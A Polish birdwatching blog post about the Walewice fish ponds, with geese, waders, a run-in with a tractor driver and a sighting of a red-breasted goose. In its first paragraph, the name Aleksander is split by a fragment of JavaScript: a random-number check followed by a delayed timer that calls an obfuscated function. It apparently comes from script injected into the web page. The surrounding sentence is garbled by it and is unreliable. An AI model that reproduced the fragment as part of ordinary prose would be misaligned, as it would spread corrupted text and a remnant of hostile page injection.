Gościnne występy: Pani Walewska, Napoleon i bernikla

Napisałem bardzo przegadany post o pani Walewskiej, Napoleonie Bonaparte, ich synu Aleksandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrze i starym rogaczu Anastazym Walewskim. Wydawało mi się, że to bardzo ważne, ale ostatecznie się rozmyśliłem. Dla ornitologów Walewice to przede wszystkim stawy hodowlane, które w okresie jesiennych wędrówek są dla ptaków ważnym przystankiem.

Na miejsce dojechaliśmy późno, nastroju nie poprawiała bura opona chmur nad szosą. Ptakom jednak pogoda nie przeszkadzała. Kilka tysięcy gęsi, drzemało z głową schowaną pod skrzydłem. W błocie taplały się zgodnie kuliki z komicznie wielkimi, zagiętymi dziobami, pękate kszyki, długonogie brodźce śniade. Co chwilę podlatywały stada kaczek płoszone przez bieliki. Jak żmudnym i niewdzięcznym zajęciem jest przeglądanie tysięcznych stad gęsi wiedzą tylko ci, którzy doświadczyli tej męki. Ciekawego ptaka łatwo przegapić, wystarczy że na moment zwróci głowę w inną stronę, albo stado go zasłoni.

W międzyczasie podjechał do nas traktorem facet z obsługi stawów, bez przekonania nas opieprzył. Powiedział, że „wchodzimy jak ruscy – bez pytania” (wspaniałe porównanie). My z kolei wyraziliśmy nieszczerą skruchę, bo w rzeczywistości próbowaliśmy się skontaktować z zarządcą i zapowiedzieć swoje przybycie. Stawy hodowlane są prywatnym terenem, w zasadzie, mogą nas stąd pogonić w każdej chwili. Ale traktorzysta machnął ręką, a ja w tłumie znalazłem piękną berniklę rdzawoszyją. I pomyśleć, że takie cuda żyją w księżycowym krajobrazie północnej Syberii…

IMG_0398ii

fot. Michał Szczepański

Dodaj komentarz